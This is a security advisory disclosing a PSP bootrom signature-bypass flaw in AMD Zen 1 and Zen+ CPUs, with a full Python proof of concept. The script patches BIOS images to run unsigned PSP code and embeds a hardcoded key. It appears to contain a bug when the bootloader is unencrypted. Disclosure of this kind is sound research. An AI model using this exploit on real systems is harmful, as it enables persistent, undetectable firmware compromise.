# GHSA-7G3H-59CW-27VF: Zen 1 PSP bootrom exploit

- Database: GitHub
- Severity: critical (stated by ghsa, no CVSS score)
- Published: 2026-11-17
- Modified: 2026-11-17

## Tracked as

- [CVE-2026-74127](https://cve.now/CVE-2026-74127.md): AMD EPYC™ Embedded 3000 Series Processors signature verification bypass in PSP Boot ROM

## Description

## Summary

We’ve identified a vulnerability in the PSP bootrom which bypasses the PSP’s firmware verification very early at boot. Zen 1 and Zen+ are both affected. Zen 2 and later are not affected. The vulnerability is a variant of Masterkey ([CVE-2018-8930](https://nvd.nist.gov/vuln/detail/cve-2018-8930)). The vulnerable code is in the PSP’s bootrom. This vulnerability can be used to gain persistent code execution on the PSP very early at boot, bypassing signature verification for the PSP firmware. The PSP is the most privileged component on the system and has access to everything with no restrictions.

## Severity

**Critical**

Motivation: It can be used to get persistent code execution on the PSP very early at boot. The PSP has access to everything on the platform and what it does is invisible to anything running on the x86 cores. Someone could use this to install persistent malware with access to everything on the system. The BIOS SPI flash can be written to from software, no physical access is needed.&nbsp;

The [original MasterKey](https://nvd.nist.gov/vuln/detail/cve-2018-8930), which had the same prerequisites and outcomes and could be fixed with a BIOS update was also rated as high/critical.

## Background on the PSP

The PSP (platform security processor, also known as the ASP) is a Cortex-A5 management and security core embedded in AMD CPUs which is responsible for initializing the system before the x86 cores are released from reset and for some security functions such as generating attestation reports for SEV VM. The PSP has full access to everything on the system, can take control of the x86 cores and can read and write all RAM. The OS (and firmware) running on the x86 cores has no visibility into what’s happening on the PSP and the hardware prevents it from inspecting the PSP’s memory.

The PSP is the first component to start on an AMD machine and at reset it executes code from an immutable on-chip bootrom. The bootrom cryptographically verifies and executes a bootloader from the SPI flash where the system firmware/BIOS is stored. The bootloader then loads and executes further PSP modules from the same SPI flash. All code which runs on the PSP needs to be cryptographically signed by AMD’s public key. AMD appears to use different signing keys for different CPU generations.

More information on the PSP is available [here](https://dayzerosec.com/blog/2023/04/17/reversing-the-amd-secure-processor-psp.html), [here](https://media.ccc.de/v/36c3-10942-uncover_understand_own_-_regaining_control_over_your_amd_cpu), [here](https://media.ccc.de/v/thms-38-dissecting-the-amd-platform-security-processor).

## Background on Masterkey

In 2018 CTS labs found and [disclosed](https://web.archive.org/web/20180313234825/https://amdflaws.com/) several vulnerabilities, collectively known as AMDflaws. Three of these vulnerabilities (Masterkey-1, Masterkey-2 and Masterkey-3, collectively Masterkey, [CVE-2018-8930](https://nvd.nist.gov/vuln/detail/cve-2018-8930)) are bugs in the cryptographic verification of PSP firmware. Masterkey allows someone who can overwrite BIOS/firmware in the SPI flash chip to gain persistent code execution on the PSP very early at boot. AMD publicly [acknowledged](https://web.archive.org/web/20180328175531/https://community.amd.com/community/amd-corporate/blog/2018/03/21/initial-amd-technical-assessment-of-cts-labs-research) the bugs and stated that they planned to fix Masterkey with a BIOS update. It is unclear which BIOS version(s) fixed Masterkey because there doesn’t seem to be a security bulletin for it in [AMD’s list](https://www.amd.com/en/resources/product-security.html). The [CVE](https://nvd.nist.gov/vuln/detail/cve-2018-8930) also doesn’t state which firmware versions are vulnerable.

CTS labs released a [whitepaper](https://safefirmware.com/amdflaws_whitepaper.pdf) about the vulnerabilities, which intentionally doesn’t contain almost any technical details. The whitepaper lists Masterkey-1, Masterkey-2 and Masterkey-3 as 3 separate vulnerabilities but doesn’t explain what the difference is between them. They also gave a [presentation at BlueHat IL 2019](https://www.youtube.com/watch?v=YoMQxb0ZdK0) about a year later which explains how one of the variants works in sufficient detail to reproduce it, but doesn’t explain what the difference is between the 3 variants.

We [successfully exploited](https://www.youtube.com/watch?v=sUFDKTaCQEk) Masterkey in 2024 on an old BIOS version which predates CTS labs’s disclosure based on the information in the BlueHat presentation, as part of [EntrySign](https://bughunters.google.com/blog/5424842357473280/zen-and-the-art-of-microcode-hacking). This was possible because desktop machines generally don’t have rollback protection for the BIOS, so we could simply flash a vulnerable BIOS version on the target machine.

There is no clear publicly available information on which CPU generations are vulnerable to MasterKey. Zen 1 is known to be vulnerable because it was the only Zen generation that was publicly available at the time of CTS labs' disclosure. Zen 2 and later don’t appear to be vulnerable.

### Technical details of the original Masterkey

The PSP firmware modules in the SPI BIOS flash consist of a 256-byte header containing some metadata (version, size, etc…), the body of the module, and a RSA signature. The RSA signature covers the header as well as, in most cases, the body of the module. There are [multiple different size fields](https://github.com/PSPReverse/PSPTool/blob/edae097857e94b35d5203e644c177a3e1a3d444b/psptool/header_file.py#L42) in the header, which can have different values:

* [size\_signed](https://github.com/PSPReverse/PSPTool/blob/edae097857e94b35d5203e644c177a3e1a3d444b/psptool/header_file.py#L43) contains the number of bytes in the module body which are covered by the signature  
* [rom\_size](https://github.com/PSPReverse/PSPTool/blob/edae097857e94b35d5203e644c177a3e1a3d444b/psptool/header_file.py#L57) contains the total size of the module, including the signature.

Additionally the firmware contains a data structure called a directory which lists all available modules and their type. Importantly only the modules are signed, the directory is **not** signed. At least on Zen 1 and Zen+, the type of a module is **only in the directory**, and not in the module header.

Masterkey relies on the existence of modules which have a valid signature but size\_signed \== 0\. These are easily found in old bioses which predate Masterkey.

When the bootloader loads another firmware module from the SPI flash, it reads rom\_size bytes from the flash, but only validates size\_signed bytes of the body. If an attacker replaces the target module with one which has size\_signed \== 0 but rom\_size \> 0, then the bootloader doesn’t validate the module’s body and so executes unsigned code.

## Vulnerability details

The new vulnerability stems from incorrect validation of PSP firmware in the PSP bootrom. We found this vulnerability while researching the applicability of the original Masterkey to the PSP bootrom. To help provide context for how the exploit works, we'll first explain how the Zen 1 bootrom loads the PSP bootloader from the SPI flash:

1. Search for a module with type 1 (PSP bootloader)  
2. Load 256 \+ size\_signed bytes of that module from the SPI flash into the PSP’s SRAM at the module’s load\_addr \- 0x100. This way the body of the module ends up at load\_addr, and the header at load\_addr \- 0x100. For the bootloader load\_addr is always 0x100.  
3. Load the bootloader’s signature from the SPI flash into a signature buffer, also in the PSP's SRAM.  
4. Verify the bootloader’s signature. If the verification succeeds, jump to the bootloader’s load\_addr.  
5. If the verification doesn’t succeed, repeat steps 1-4 but this time try to load module type 3 (the recovery bootloader).  
6. If neither bootloader can be successfully loaded and verified, halt.

Some important details:

* If the normal bootloader (type 1\) fails the signature check, its body is **not** erased from the PSP’s SRAM.  
* The type of a PSP module is only stored in the directory (which is **not signed**), and not in the module’s header, so it is possible to swap two modules in the SPI flash without invalidating their signatures.  
* If a module has size\_signed \== 0 then only the header and the signature are loaded to the PSP’s SRAM. The body of the module is not loaded in this case.

If we replace the header, body and signature of the recovery bootloader with those of a module having size\_signed \== 0 and load\_addr \== 0x100 (the "donor module") then we can bypass the signature check on the main bootloader. Valid donor modules exist and we’ve been able to find examples of them signed with a key that both Zen 1 and Zen+ CPUs accept. Here’s what the PSP bootrom does in this case:

1. Load the main bootloader’s header to 0x0 and its body (which we modified) to 0x100.  
2. Verify the signature (this fails because we modified the data).  
3. Load the donor module’s header to 0x0. Because the donor module’s size\_signed is 0x0, no data is loaded to 0x100 and the main bootloader’s modified body is not overwritten.  
4. Verify the signature (this passes because only the header of the donor module is covered by its signature).  
5. Jump to the donor module’s entry point (0x100). This address still contains the modified body of the main bootloader.  
6. The PSP executes our modified (unsigned) bootloader.

This gives us code execution very early on in the PSP’s bootloader with full privileges on the system.

## Affected hardware

* We’ve verified that this works on a client Zen 1 CPU (Ryzen 5 1600x).  
* We haven’t verified if this works on a Zen 1 EPYC. According to CTS labs, Zen 1 EPYCs were affected by the original MasterKey variants, so they are probably also affected by this variant.  
* We have confirmed that this affects client Zen+ CPUs (Ryzen 7 2700X, family 17h, model 8, stepping 2).  
* Zen 2 and later are not affected  
    * We haven’t been able to find any modules with size\_signed \== 0 for Zen 2 or any later generations.

## PoC

Targets a specific firmware version of a specific AM4 board, but should be fairly easy to extend to arbitrary versions/board using psptool

```python
import argparse
import struct

# pip install cryptography
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# CHANGE ALL THESE OFFSETS FOR YOUR BIOS (find them with PSPtool or something)
# OFFSETS FOR E7A33AMS.160 (MSI X370 Krait Gaming) (https://download.msi.com/bos_exe/mb/7A33v16.zip)
# TODO: find these by parsing the FET with psptool instead of hardcoding the offsets.
# TODO: Zen+ support
# THESE MUST ALL BE IN THE FIRST LEVEL DIRECTORY FOR ZEN1
# AMD_PUBKEY (type 0, should be the first entry in the Zen1 directory)
AMD_PUBKEY_OFFSET: int = 0xb8400
# PSP_FW_BOOT_LOADER (type 1)
MAIN_BOOTLOADER_OFFSET: int = 0x248400
# PSP_FW_RECOVERY_BOOT_LOADER (type 3)
RECOVERY_BOOTLOADER_OFFSET: int = 0xb8700

# Any module which has a valid signature with the public key above,
# and has a signed_size of 0. This can be in one of the other directories.
DONOR_MODULE_OFFSET: int = 0x14cd00

# Disable signature checking in the PSP bootloader.
# Get this one by disassembling the function which checks RSA signatures in the
# main bootloader and finding where it returns 1 when the memcmp fails
MAIN_BOOTLOADER_SIGNATURE_PATCH_OFFSET = 0x7bdc

# From psptool https://github.com/PSPReverse/PSPTool/blob/6112e48dc24d77fbeb2aa646d4a9ed3403fdd601/psptool/file.py#L60
UNWRAPPED_IKEK_ZEN_PLUS = b'\x4c\x77\x63\x65\x32\xfe\x4c\x6f\xd6\xb9\xd6\xd7\xb5\x1e\xde\x59'

def u32(d: bytes) -> int:
    return struct.unpack('<I', d[:4])[0]

def main() -> None:
    ap = argparse.ArgumentParser(prog='psp_unlock.py', description='disable signature checking on a Zen1 PSP')
    _ = ap.add_argument('input', help='path to the input BIOS')
    _ = ap.add_argument('output', help='path to the output BIOS')

    args = ap.parse_args()
    with open(args.input, 'rb') as f:
        data = memoryview(f.read())

    amd_pubkey_data = data[AMD_PUBKEY_OFFSET:AMD_PUBKEY_OFFSET+0x240]
    amd_pubkey_exponent_bits = u32(amd_pubkey_data[0x38:])
    amd_pubkey_modulus_bits = u32(amd_pubkey_data[0x3c:])
    assert amd_pubkey_modulus_bits == amd_pubkey_exponent_bits
    assert amd_pubkey_modulus_bits == 2048
    signature_size = amd_pubkey_modulus_bits // 8

    amd_pubkey_exponent = int.from_bytes(amd_pubkey_data[0x40:0x40 + signature_size], byteorder='little')
    amd_pubkey_modulus = int.from_bytes(amd_pubkey_data[0x140:0x140 + signature_size], byteorder='little')
    signature_hash_algo = hashes.SHA256()
    signature_salt_length = 32
    signature_padding =padding.PSS(
        mgf=padding.MGF1(signature_hash_algo),
        salt_length=signature_salt_length
    )
    amd_pubkey = rsa.RSAPublicNumbers(amd_pubkey_exponent, amd_pubkey_modulus).public_key()

    donor_module_header = data[DONOR_MODULE_OFFSET:DONOR_MODULE_OFFSET+256]

    donor_module_signed_size = u32(donor_module_header[0x14:])
    donor_module_encrypted = u32(donor_module_header[0x18:])
    donor_module_signed = u32(donor_module_header[0x30:])
    donor_module_load_addr = u32(donor_module_header[0x68:])
    donor_module_total_size = u32(donor_module_header[0x6c:])

    donor_module_signature_offset = DONOR_MODULE_OFFSET + donor_module_total_size - signature_size
    donor_module_signature = data[donor_module_signature_offset:donor_module_signature_offset+256]

    # Sanity checks on the donor module
    assert donor_module_signed_size == 0
    assert donor_module_encrypted == 0
    assert donor_module_signed == 1
    assert donor_module_load_addr == 0x100

    assert (((donor_module_signed_size + 256) & 0x7fffffff) + (donor_module_load_addr & 0x7fffffff)) <= 0x38000
    assert donor_module_load_addr > 0xff

    amd_pubkey.verify(donor_module_signature, donor_module_header, signature_padding, signature_hash_algo)

    main_bootloader_header = data[MAIN_BOOTLOADER_OFFSET:MAIN_BOOTLOADER_OFFSET+256]
    main_bootloader_signed_size = u32(main_bootloader_header[0x14:])
    main_bootloader_encrypted = u32(main_bootloader_header[0x18:])
    main_bootloader_signed = u32(main_bootloader_header[0x30:])
    main_bootloader_load_addr = u32(main_bootloader_header[0x68:])

    main_bootloader_body_offset = MAIN_BOOTLOADER_OFFSET + 256
    main_bootloader_body = data[main_bootloader_body_offset:main_bootloader_body_offset + main_bootloader_signed_size]
    assert len(main_bootloader_body) == main_bootloader_signed_size

    # Sanity checks on the bootloader
    assert main_bootloader_signed_size != 0
    assert main_bootloader_signed == 1
    assert main_bootloader_load_addr == 0x100

    assert (((main_bootloader_signed_size + 256) & 0x7fffffff) + (main_bootloader_load_addr & 0x7fffffff)) <= 0x38000
    assert main_bootloader_load_addr > 0xff

    if main_bootloader_encrypted:
        # Decrypt the body first
        encrypted_data = main_bootloader_body
        main_bootloader_iv = main_bootloader_header[0x20:0x30]
        main_bootloader_key = main_bootloader_header[0x80:0x90]

        dec_ecb = Cipher(algorithms.AES(UNWRAPPED_IKEK_ZEN_PLUS), modes.ECB()).decryptor()
        unwrapped_key = dec_ecb.update(main_bootloader_key) + dec_ecb.finalize()
        dec_cbc = Cipher(algorithms.AES(unwrapped_key), modes.CBC(main_bootloader_iv)).decryptor()
        decrypted_main_bootloader_data = dec_cbc.update(encrypted_data) + dec_cbc.finalize()

        assert len(decrypted_main_bootloader_data) == len(main_bootloader_body)
        main_bootloader_body = decrypted_main_bootloader_data

    # Write back the unencrypted main bootloader
    out_data = bytearray(data)
    # Clear the encrypted flag
    out_data[MAIN_BOOTLOADER_OFFSET + 0x18] = 0
    out_data[main_bootloader_body_offset:main_bootloader_body_offset + main_bootloader_signed_size] = decrypted_main_bootloader_data

    # Arbitrary modifications to the PSP bootloader here...
    # Disable signature checking for the other PSP modules
    out_data[MAIN_BOOTLOADER_OFFSET + MAIN_BOOTLOADER_SIGNATURE_PATCH_OFFSET] = 0

    # Replace the recovery bootloader with the donor module (empty fake which has a valid signature)
    out_header_offset = RECOVERY_BOOTLOADER_OFFSET
    out_signature_offset = RECOVERY_BOOTLOADER_OFFSET + 256
    out_data[out_header_offset:out_header_offset + 256] = donor_module_header
    out_data[out_signature_offset:out_signature_offset + 256] = donor_module_signature
    fake_bl_signed_size = u32(out_data[out_header_offset+0x14:])

    # Final sanity check
    assert fake_bl_signed_size == 0
    amd_pubkey.verify(out_data[out_signature_offset:out_signature_offset+signature_size], out_data[out_header_offset:out_header_offset + 256], signature_padding, signature_hash_algo)

    with open(args.output, 'wb') as f:
        f.write(out_data)

    print(f'Done! Now write the contents of {args.output} to your BIOS flash and enjoy your unlocked PSP!')


if __name__ == '__main__':
    main()
```

## AMD’s response

We reported the bug to AMD. They are not going to mitigate this bug because it would require new hardware.

* We reported this bug to AMD on 2026-08-19.  
* AMD informed us that they changed their assessment and updated the assessment to Critical 9.4 with the vector string CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. They confirmed that no mitigation is planned.

## References

- https://github.com/google/security-research/security/advisories/GHSA-7g3h-59cw-27vf

Page: https://cve.now/GHSA-7G3H-59CW-27VF
